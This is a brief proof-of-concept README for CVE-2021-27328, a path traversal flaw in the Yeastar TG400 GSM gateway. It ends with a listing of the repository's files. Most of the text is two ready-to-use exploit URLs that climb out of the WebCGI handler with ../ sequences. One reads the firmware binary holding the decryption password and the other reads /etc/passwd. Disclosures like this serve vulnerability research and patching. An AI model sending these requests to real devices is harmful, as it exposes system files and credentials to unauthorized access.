# Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3
This is a Proof of Concept for CVE-2021-27328
## Example
* to get firmware decrypting password
```
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect
```
* to get /etc/paswd
```
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd
```
[4.0K] /data/pocs/f4c8dd17939b6fd0db984b8e29b32440804e36d7
├── [ 364] README.md
├── [147K] ys_passwd.png
└── [215K] ys_zippass.png
0 directories, 3 files